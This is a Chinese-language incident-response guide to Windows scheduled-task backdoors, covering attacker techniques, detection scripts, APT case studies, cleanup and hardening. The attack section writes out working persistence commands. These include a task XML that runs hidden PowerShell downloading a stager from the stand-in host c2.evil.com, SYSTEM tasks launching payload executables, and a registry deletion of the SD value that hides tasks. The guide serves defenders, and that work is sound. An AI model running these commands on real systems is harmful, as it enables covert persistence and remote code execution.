Windows应急响应/19-计划任务后门
tags:: #Windows应急响应 #持久化 #计划任务 #ScheduledTask #Backdoor
category:: 持久化与后门检测
difficulty:: 中级-高级
platform:: Windows 7/10/11, Server 2012-2022
概述
Scheduled Task(计划任务)是Windows中最强大的持久化机制之一
攻击者可以设置任务在特定时间、特定事件触发时执行恶意代码
MITRE ATT&CK: T1053.005 - Scheduled Task/Job: Scheduled Task
比Run Key更灵活:支持定时、触发器、用户上下文、权限提升等
Linux对比: 15-Crontab后门 是Linux下的类似机制
一、计划任务基础
1.1 schtasks命令创建任务
基本创建语法:
1
| schtasks /create /tn "TaskName" /tr "C:\path\to\payload.exe" /sc onlogon /ru SYSTEM
|
常见触发器类型:
/sc onlogon — 用户登录时
/sc onstart — 系统启动时
/sc onidle — 系统空闲时
/sc minute /mo 5 — 每5分钟
/sc daily /st 02:00 — 每天凌晨2点
/sc onevent /ec Security /mo "*[System[EventID=4624]]" — 事件触发
关键参数:
/ru SYSTEM — 以SYSTEM权限运行
/rl HIGHEST — 最高权限
/f — 强制覆盖已存在的任务
1.2 任务存储位置
文件系统:
1 2
| C:\Windows\System32\Tasks\ # 任务XML定义文件 C:\Windows\System32\Tasks\Microsoft\ # 系统内置任务
|
注册表:
1 2
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\
|
二进制任务文件(旧版兼容):
1 2
| C:\Windows\System32\Tasks\ (XML格式) C:\Windows\Tasks\ (.job格式,at.exe使用)
|
1.3 XML任务定义结构
每个计划任务都有一个XML定义文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>2026-03-15T10:00:00</Date> <Author>NT AUTHORITY\SYSTEM</Author> <Description>System Maintenance</Description> </RegistrationInfo> <Triggers> <LogonTrigger> <Enabled>true</Enabled> </LogonTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Actions Context="Author"> <Exec> <Command>powershell.exe</Command> <Arguments>-w hidden -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://c2.evil.com/stager')"</Arguments> </Exec> </Actions> </Task>
|
二、攻击手法详解
2.1 基础持久化任务
最简单的计划任务后门:
1
| schtasks /create /tn "\Microsoft\Windows\Maintenance\SystemCleanup" /tr "C:\Users\Public\beacon.exe" /sc onlogon /ru SYSTEM /f
|
注意:将任务名设在Microsoft\Windows\子路径下,模仿系统任务
使用PowerShell创建:
1 2 3 4 5 6 7 8 9
| $action = New-ScheduledTaskAction -Execute "powershell.exe" ` -Argument "-w hidden -nop -ep bypass -f C:\ProgramData\update.ps1" $trigger = New-ScheduledTaskTrigger -AtLogOn $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest $settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "SystemUpdate" ` -Action $action -Trigger $trigger ` -Principal $principal -Settings $settings
|
2.2 隐藏任务(SD值删除)
高级技术: 删除任务的Security Descriptor (SD)值使其在schtasks /query中不可见
原理: TaskCache\Tree<TaskName> 下有一个 SD (Security Descriptor) 值
删除此值后,标准API无法枚举该任务,但任务仍然会执行
创建隐藏任务的步骤:
1 2 3 4 5 6
| schtasks /create /tn "HiddenTask" /tr "C:\payload.exe" /sc daily /st 03:00 /ru SYSTEM /f
PsExec.exe -s -i reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\HiddenTask" /v SD /f
|
验证隐藏效果:
1 2 3 4 5
| schtasks /query /tn "HiddenTask"
Get-Content "C:\Windows\System32\Tasks\HiddenTask"
|
这是近年来APT攻击中非常流行的隐藏技术
相关CVE: CVE-2022-37942 等
使用COM Handler替代直接的命令执行,绕过命令行检测:
1 2 3 4 5 6
| <Actions Context="Author"> <ComHandler> <ClassId>{E6D18874-3171-429C-B61D-E7F891B30F18}</ClassId> <Data>payload_data_here</Data> </ComHandler> </Actions>
|
攻击者先通过COM劫持注册恶意CLSID(参见 23-COM劫持)
然后创建使用该CLSID的计划任务
这种方式不会在任务的”操作”中显示可执行路径
2.4 at.exe遗留命令
at.exe是旧版计划任务命令,在某些系统上仍可用:
1
| at 03:00 /every:M,T,W,Th,F,S,Su "C:\payload.exe"
|
at.exe创建的任务存储在 C:\Windows\Tasks\ 目录下(.job文件)
某些安全工具不检查.job文件,成为检测盲点
2.5 事件触发任务
基于事件日志触发,极为隐蔽:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $trigger = New-ScheduledTaskTrigger -AtLogOn
$CIMTriggerClass = Get-CimClass -ClassName MSFT_TaskEventTrigger ` -Namespace Root/Microsoft/Windows/TaskScheduler $trigger = New-CimInstance -CimClass $CIMTriggerClass -ClientOnly $trigger.Subscription = @" <QueryList> <Query Id="0" Path="Security"> <Select Path="Security">*[System[EventID=4624]]</Select> </Query> </QueryList> "@ $trigger.Enabled = $true
|
也可以监听自定义事件源,在某个条件满足时触发
三、检测方法
3.1 schtasks查询
列出所有计划任务(详细模式):
1
| schtasks /query /fo LIST /v > all_tasks.txt
|
CSV格式便于分析:
1
| schtasks /query /fo CSV /v > all_tasks.csv
|
查看特定任务的详细信息:
1
| schtasks /query /tn "\Microsoft\Windows\Maintenance\SystemCleanup" /fo LIST /v
|
PowerShell方式(更灵活):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } | ForEach-Object { $info = $_ | Get-ScheduledTaskInfo -ErrorAction SilentlyContinue [PSCustomObject]@{ TaskName = $_.TaskName TaskPath = $_.TaskPath State = $_.State Author = $_.Author RunAs = $_.Principal.UserId Actions = ($_.Actions | ForEach-Object { if ($_.Execute) { "$($_.Execute) $($_.Arguments)" } elseif ($_.ClassId) { "COM: $($_.ClassId)" } }) -join '; ' LastRunTime = $info.LastRunTime NextRunTime = $info.NextRunTime } } | Format-Table -AutoSize -Wrap
|
3.2 检测隐藏任务
由于隐藏任务删除了SD值,标准API无法枚举,需要替代方法:
方法1: 直接扫描Tasks目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| $taskFiles = Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File
$apiTasks = Get-ScheduledTask | ForEach-Object { ($_.TaskPath + $_.TaskName).TrimStart('\') }
foreach ($file in $taskFiles) { $relativePath = $file.FullName.Replace( "C:\Windows\System32\Tasks\", "") if ($relativePath -notin $apiTasks) { Write-Host "[!] HIDDEN TASK: $relativePath" -ForegroundColor Red Write-Host " File: $($file.FullName)" Write-Host " Created: $($file.CreationTime)" Write-Host " Modified: $($file.LastWriteTime)" [xml]$taskXml = Get-Content $file.FullName $actions = $taskXml.Task.Actions.Exec Write-Host " Command: $($actions.Command) $($actions.Arguments)" -ForegroundColor Yellow } }
|
方法2: 直接查询注册表TaskCache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $treePath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree"
function Check-TaskTree { param([string]$Path) Get-ChildItem $Path -ErrorAction SilentlyContinue | ForEach-Object { $sd = (Get-ItemProperty $_.PSPath -Name "SD" -ErrorAction SilentlyContinue).SD if (-not $sd) { $id = (Get-ItemProperty $_.PSPath -Name "Id" -ErrorAction SilentlyContinue).Id if ($id) { Write-Host "[!] NO SD: $($_.PSChildName) (ID: $id)" -ForegroundColor Red } } Check-TaskTree $_.PSPath } }
Check-TaskTree $treePath
|
3.3 Windows事件日志
Event ID 4698: 计划任务被创建(Security日志)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Get-WinEvent -FilterHashtable @{ LogName = 'Security' Id = 4698 } -MaxEvents 50 | ForEach-Object { $xml = [xml]$_.ToXml() $taskName = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq 'TaskName' }).'#text' $taskContent = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq 'TaskContent' }).'#text' [PSCustomObject]@{ TimeCreated = $_.TimeCreated TaskName = $taskName SubjectUser = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq 'SubjectUserName' }).'#text' TaskContent = $taskContent.Substring(0, [Math]::Min(200, $taskContent.Length)) } } | Format-List
|
Event ID 4702: 计划任务被更新
Event ID 106: 任务注册(TaskScheduler operational日志)
1 2 3 4
| Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-TaskScheduler/Operational' Id = 106 } -MaxEvents 50 | Select-Object TimeCreated, Message | Format-List
|
Event ID 200/201: 任务执行开始/完成
重要: 确认Security日志审核策略已开启:
1
| auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable
|
3.4 Autoruns检查
Autoruns可以显示计划任务自启动项:
1
| autorunsc.exe -a t -m -s -h -c -nobanner > autoruns_tasks.csv
|
-a t 指定只检查Scheduled Tasks类别
重点关注: 非Microsoft签名、异常路径、PowerShell/CMD参数
四、真实APT案例
4.1 APT29 (Cozy Bear) — SUNSPOT
SolarWinds供应链攻击中使用的计划任务:
1 2 3 4
| Task Name: \Microsoft\Windows\SoftwareDistribution\SynchronizeTime Action: C:\Windows\SysWOW64\surfbar.exe Trigger: Daily at 05:00 Run As: SYSTEM
|
特点: 任务名和路径都模仿Windows Update相关任务
4.2 Tarrask恶意软件(隐藏任务)
2022年Microsoft披露的Tarrask攻击:
利用SD值删除技术隐藏计划任务
用于HAFNIUM APT组织的后渗透持久化
任务名通常模仿Windows系统任务
创建后删除SD值,使得标准工具无法发现
4.3 Emotet的计划任务模式
Emotet典型的计划任务创建命令:
1
| schtasks /create /tn "Updater_{GUID}" /tr "regsvr32.exe /s C:\Users\<user>\AppData\Local\<random>\<random>.dll" /sc daily /st 12:00 /f
|
特点: 使用regsvr32加载DLL,随机命名
五、清除与修复
5.1 删除恶意任务
使用schtasks删除:
1
| schtasks /delete /tn "\Microsoft\Windows\Maintenance\SystemCleanup" /f
|
PowerShell方式:
1
| Unregister-ScheduledTask -TaskName "SystemUpdate" -Confirm:$false
|
对于隐藏任务(SD值已删除的),需要先恢复SD值或直接删除文件:
1 2 3 4 5 6 7 8 9 10 11 12
| Remove-Item "C:\Windows\System32\Tasks\HiddenTask" -Force
$taskId = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\HiddenTask" -Name Id).Id
Remove-Item "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\HiddenTask" -Recurse -Force
Remove-Item "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$taskId" -Recurse -Force
|
5.2 批量审计与清理脚本
完整的计划任务审计脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| Write-Host "=== Scheduled Task Security Audit ===" -ForegroundColor Cyan
Write-Host "`n[1] Non-Microsoft Tasks:" -ForegroundColor Yellow Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft\*" -and $_.TaskName -notlike "User_Feed*" } | ForEach-Object { $task = $_ Write-Host " Task: $($task.TaskPath)$($task.TaskName)" -ForegroundColor White $task.Actions | ForEach-Object { if ($_.Execute) { Write-Host " Exec: $($_.Execute) $($_.Arguments)" -ForegroundColor Gray if (Test-Path $_.Execute) { $sig = Get-AuthenticodeSignature $_.Execute if ($sig.Status -ne 'Valid') { Write-Host " [!] UNSIGNED or INVALID signature!" -ForegroundColor Red } } } } }
Write-Host "`n[2] Hidden Tasks (missing SD):" -ForegroundColor Yellow $tree = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree" Get-ChildItem $tree -Recurse | ForEach-Object { $sd = (Get-ItemProperty $_.PSPath -Name SD -ErrorAction SilentlyContinue).SD $id = (Get-ItemProperty $_.PSPath -Name Id -ErrorAction SilentlyContinue).Id if ($id -and -not $sd) { Write-Host " [!] $($_.PSChildName) - GUID: $id" -ForegroundColor Red } }
Write-Host "`n[3] Legacy .job files:" -ForegroundColor Yellow Get-ChildItem "C:\Windows\Tasks" -Filter "*.job" | ForEach-Object { Write-Host " [!] $($_.Name) - Created: $($_.CreationTime)" -ForegroundColor Red }
Write-Host "`n[4] Recently created tasks (7 days):" -ForegroundColor Yellow Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) } | Sort-Object CreationTime -Descending | Select-Object FullName, CreationTime | Format-Table -AutoSize
|
5.3 证据收集
在清除前务必收集证据:
1 2 3 4 5 6 7 8 9 10 11 12 13
| $evidencePath = "C:\IR_Evidence\ScheduledTasks" New-Item -ItemType Directory -Path $evidencePath -Force
Copy-Item "C:\Windows\System32\Tasks\*" $evidencePath -Recurse -Force
reg export "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache" "$evidencePath\TaskCache.reg"
wevtutil epl Security "$evidencePath\Security.evtx" "/q:*[System[(EventID=4698 or EventID=4702)]]" wevtutil epl Microsoft-Windows-TaskScheduler/Operational "$evidencePath\TaskScheduler.evtx"
|
六、防御建议
6.1 监控策略
配置Sysmon监控计划任务相关进程:
1 2 3 4
| <ProcessCreate onmatch="include"> <CommandLine condition="contains">schtasks</CommandLine> <CommandLine condition="contains">Register-ScheduledTask</CommandLine> </ProcessCreate>
|
部署SIEM规则检测异常任务创建
定期执行隐藏任务扫描
6.2 权限加固
限制非管理员用户创建SYSTEM权限任务
通过GPO限制schtasks.exe的执行
监控C:\Windows\System32\Tasks目录的文件变更
七、关联检查
计划任务后门应与以下内容关联分析:
08-计划任务与服务审计 — 基础审计方法
18-Registry-Run后门 — 同一攻击者常同时使用多种持久化
20-Windows服务后门 — 服务也是常见的持久化载体
21-WMI事件订阅后门 — WMI订阅是另一种基于事件的持久化
15-Crontab后门 — Linux下的等效机制
八、应急响应Checklist
[ ] 执行 schtasks /query /fo CSV /v 导出所有任务
[ ] 使用PowerShell扫描非Microsoft签名的任务
[ ] 检查隐藏任务(SD值缺失、文件系统vs API对比)
[ ] 检查 C:\Windows\Tasks\ 下的 .job 文件
[ ] 查询Security Event ID 4698/4702
[ ] 查询TaskScheduler Operational日志
[ ] 检查COM Handler类型任务的CLSID合法性
[ ] 检查最近7天内新增的任务文件
[ ] 收集证据后清除恶意任务
[ ] 确认恶意进程已终止、恶意文件已删除